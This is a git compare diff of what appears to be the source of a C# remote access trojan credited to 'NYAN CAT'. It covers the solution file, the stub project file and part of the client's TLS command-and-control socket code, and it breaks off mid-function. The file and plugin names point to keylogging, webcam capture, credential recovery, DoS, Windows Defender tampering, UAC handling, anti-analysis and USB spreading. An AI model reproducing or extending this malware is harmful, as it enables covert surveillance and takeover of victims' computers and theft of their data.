Compare commits
No commits in common. "master" and "v0.5.3" have entirely different histories.
@ -7,39 +7,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csp
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{C3C49F45-2589-4E04-9C50-71B6035C14AE}"
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Plugins", "Plugins", "{0DE8DA5D-061D-4649-8A56-48729CF1F789}"
|
||||
ProjectSection(SolutionItems) = preProject
|
||||
ReadMe.txt = ReadMe.txt
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Plugin\Chat\Chat\Chat.csproj", "{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Extra", "Plugin\Extra\Extra\Extra.csproj", "{424B81BE-2FAC-419F-B4BC-00CCBE38491F}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileManager", "Plugin\FileManager\FileManager\FileManager.csproj", "{BEE88186-769A-452C-9DD9-D0E0815D92BF}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LimeLogger", "Plugin\LimeLogger\LimeLogger\LimeLogger.csproj", "{DAFE686A-461B-402B-BBD7-2A2F4C87C773}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Miscellaneous", "Plugin\Miscellaneous\Miscellaneous\Miscellaneous.csproj", "{37E20BAF-3577-4CD9-BB39-18675854E255}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Options", "Plugin\Options\Options\Options.csproj", "{6AA4E392-AAAF-4408-B550-85863DD4BAAF}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ProcessManager", "Plugin\ProcessManager\ProcessManager\ProcessManager.csproj", "{D640C36B-2C66-449B-A145-EB98322A67C8}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Recovery", "Plugin\Recovery\Recovery\Recovery.csproj", "{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteCamera", "Plugin\RemoteCamera\RemoteCamera\RemoteCamera.csproj", "{619B7612-DFEA-442A-A927-D997F99C497B}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteDesktop", "Plugin\RemoteDesktop\RemoteDesktop\RemoteDesktop.csproj", "{9042B543-13D1-42B3-A5B6-5CC9AD55E150}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendFile", "Plugin\SendFile\SendFile\SendFile.csproj", "{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendMemory", "Plugin\SendMemory\SendMemory\SendMemory.csproj", "{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileSearcher", "Plugin\FileSearcher\FileSearcher\FileSearcher.csproj", "{9D1D39D8-2387-46ED-A4A8-59D250C97F35}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MessagePackLib", "MessagePack\MessagePackLib.csproj", "{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
@ -54,81 +21,10 @@ Global
|
||||
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{C3C49F45-2589-4E04-9C50-71B6035C14AE}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{BEE88186-769A-452C-9DD9-D0E0815D92BF}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{D640C36B-2C66-449B-A145-EB98322A67C8}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{D640C36B-2C66-449B-A145-EB98322A67C8}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{9042B543-13D1-42B3-A5B6-5CC9AD55E150}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(NestedProjects) = preSolution
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{424B81BE-2FAC-419F-B4BC-00CCBE38491F} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{BEE88186-769A-452C-9DD9-D0E0815D92BF} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{DAFE686A-461B-402B-BBD7-2A2F4C87C773} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{37E20BAF-3577-4CD9-BB39-18675854E255} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{6AA4E392-AAAF-4408-B550-85863DD4BAAF} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{D640C36B-2C66-449B-A145-EB98322A67C8} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{8BFC8ED2-71CC-49DC-9020-2C8199BC27B6} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{619B7612-DFEA-442A-A927-D997F99C497B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{9042B543-13D1-42B3-A5B6-5CC9AD55E150} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{9D1D39D8-2387-46ED-A4A8-59D250C97F35} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B9F2462F-603A-41C4-9CFC-1FAC60B4731C}
|
||||
EndGlobalSection
|
||||
|
@ -1,7 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
|
||||
<Import Project="..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
@ -33,7 +31,7 @@
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
@ -43,18 +41,18 @@
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<DocumentationFile>
|
||||
</DocumentationFile>
|
||||
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\Binaries\Release\Stub\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
</PropertyGroup>
|
||||
@ -62,9 +60,6 @@
|
||||
<StartupObject />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup />
|
||||
<PropertyGroup>
|
||||
<ApplicationManifest>app.manifest</ApplicationManifest>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
@ -77,28 +72,93 @@
|
||||
<Reference Include="System.XML" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="AForge\Video.DirectShow\CameraControlProperty.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\FilterInfo.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\FilterInfoCollection.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMCameraControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMCrossbar.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMStreamConfig.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMVideoControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IBaseFilter.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ICaptureGraphBuilder2.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ICreateDevEnum.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IEnumFilters.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IEnumPins.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph2.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IGraphBuilder.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IMediaControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IMediaEventEx.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IPin.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IPropertyBag.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IReferenceClock.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabber.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabberCB.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISpecifyPropertyPages.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Structures.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Uuids.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Win32.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\PhysicalConnectorType.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Uuids.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoCapabilities.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoCaptureDevice.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoInput.cs" />
|
||||
<Compile Include="AForge\Video\IVideoSource.cs" />
|
||||
<Compile Include="AForge\Video\VideoEvents.cs" />
|
||||
<Compile Include="Algorithm\Aes256.cs" />
|
||||
<Compile Include="Algorithm\Sha256.cs" />
|
||||
<Compile Include="Handle Packet\HandleBlankScreen.cs" />
|
||||
<Compile Include="Handle Packet\HandleBotKiller.cs" />
|
||||
<Compile Include="Handle Packet\HandleDos.cs" />
|
||||
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
||||
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
|
||||
<Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" />
|
||||
<Compile Include="Handle Packet\HandleThumbnails.cs" />
|
||||
<Compile Include="Handle Packet\HandlePcOptions.cs" />
|
||||
<Compile Include="Handle Packet\HandlerChat.cs" />
|
||||
<Compile Include="Handle Packet\HandleReportWindow.cs" />
|
||||
<Compile Include="Handle Packet\HandlerRecovery.cs" />
|
||||
<Compile Include="Handle Packet\HandleShell.cs" />
|
||||
<Compile Include="Handle Packet\HandleTorrent.cs" />
|
||||
<Compile Include="Handle Packet\HandleUAC.cs" />
|
||||
<Compile Include="Handle Packet\HandleUninstall.cs" />
|
||||
<Compile Include="Handle Packet\HandleWebcam.cs" />
|
||||
<Compile Include="Handle Packet\HandleWindowsDefender.cs" />
|
||||
<Compile Include="Handle Packet\Packet.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
||||
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
||||
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||
<Compile Include="Helper\HwidGen.cs" />
|
||||
<Compile Include="Helper\IdSender.cs" />
|
||||
<Compile Include="Helper\FormChat.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Helper\FormChat.Designer.cs">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
<Compile Include="Helper\MutexControl.cs" />
|
||||
<Compile Include="Helper\NativeMethods.cs" />
|
||||
<Compile Include="Helper\ProcessCritical.cs" />
|
||||
<Compile Include="Helper\SetRegistry.cs" />
|
||||
<Compile Include="Install\NormalStartup.cs" />
|
||||
<Compile Include="MessagePack\BytesTools.cs" />
|
||||
<Compile Include="MessagePack\MsgPack.cs" />
|
||||
<Compile Include="MessagePack\MsgPackType.cs" />
|
||||
<Compile Include="MessagePack\ReadTools.cs" />
|
||||
<Compile Include="MessagePack\WriteTools.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="Connection\ClientSocket.cs" />
|
||||
<Compile Include="Connection\TempSocket.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
<None Include="app.manifest" />
|
||||
<None Include="ILMerge.props" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
@ -108,22 +168,9 @@
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="ILMergeOrder.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\MessagePack\MessagePackLib.csproj">
|
||||
<Project>{dc199d9e-cf10-41dd-bbcd-98e71ba8679d}</Project>
|
||||
<Name>MessagePackLib</Name>
|
||||
</ProjectReference>
|
||||
<EmbeddedResource Include="Helper\FormChat.resx">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
|
||||
<Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
|
||||
<Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
|
||||
</Project>
|
@ -1,5 +1,6 @@
|
||||
using Client.Handle_Packet;
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
@ -9,7 +10,7 @@ using System.Net.Security;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Net;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.Algorithm;
|
||||
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : Nyan Socket v0.1
|
||||
@ -21,25 +22,21 @@ namespace Client.Connection
|
||||
{
|
||||
public static class ClientSocket
|
||||
{
|
||||
public static Socket TcpClient { get; set; } //Main socket
|
||||
public static SslStream SslClient { get; set; } //Main SSLstream
|
||||
private static byte[] Buffer { get; set; } //Socket buffer
|
||||
private static long HeaderSize { get; set; } //Recevied size
|
||||
private static long Offset { get; set; } // Buffer location
|
||||
private static Timer KeepAlive { get; set; } //Send Performance
|
||||
public static bool IsConnected { get; set; } //Check socket status
|
||||
private static object SendSync { get; } = new object(); //Sync send
|
||||
private static Timer Ping { get; set; } //Send ping interval
|
||||
public static int Interval { get; set; } //ping value
|
||||
public static bool ActivatePong { get; set; }
|
||||
public static Socket TcpClient { get; set; }
|
||||
public static SslStream SslClient { get; set; }
|
||||
private static byte[] Buffer { get; set; }
|
||||
private static long Buffersize { get; set; }
|
||||
private static Timer Tick { get; set; }
|
||||
private static MemoryStream MS { get; set; }
|
||||
public static bool IsConnected { get; set; }
|
||||
private static object SendSync { get; } = new object();
|
||||
|
||||
|
||||
public static void InitializeClient() //Connect & reconnect
|
||||
public static void InitializeClient()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
SendBufferSize = 50 * 1024,
|
||||
@ -89,15 +86,11 @@ namespace Client.Connection
|
||||
IsConnected = true;
|
||||
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
|
||||
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
Send(IdSender.SendInfo());
|
||||
Interval = 0;
|
||||
ActivatePong = false;
|
||||
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(10 * 1000, 15 * 1000), new Random().Next(10 * 1000, 15 * 1000));
|
||||
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
|
||||
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
|
||||
Buffer = new byte[4];
|
||||
MS = new MemoryStream();
|
||||
Send(Methods.SendInfo());
|
||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -128,18 +121,18 @@ namespace Client.Connection
|
||||
|
||||
public static void Reconnect()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
Tick?.Dispose();
|
||||
SslClient?.Dispose();
|
||||
TcpClient?.Dispose();
|
||||
Ping?.Dispose();
|
||||
KeepAlive?.Dispose();
|
||||
MS?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
IsConnected = false;
|
||||
}
|
||||
|
||||
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
|
||||
public static void ReadServertData(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -151,51 +144,38 @@ namespace Client.Connection
|
||||
int recevied = SslClient.EndRead(ar);
|
||||
if (recevied > 0)
|
||||
{
|
||||
Offset += recevied;
|
||||
HeaderSize -= recevied;
|
||||
if (HeaderSize == 0)
|
||||
MS.Write(Buffer, 0, recevied);
|
||||
if (MS.Length == 4)
|
||||
{
|
||||
HeaderSize = BitConverter.ToInt32(Buffer, 0);
|
||||
Debug.WriteLine("/// Client Buffersize " + HeaderSize.ToString() + " Bytes ///");
|
||||
if (HeaderSize > 0)
|
||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
Offset = 0;
|
||||
Buffer = new byte[HeaderSize];
|
||||
while (HeaderSize > 0)
|
||||
Buffer = new byte[Buffersize];
|
||||
while (MS.Length != Buffersize)
|
||||
{
|
||||
int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
|
||||
if (rc <= 0)
|
||||
{
|
||||
IsConnected = false;
|
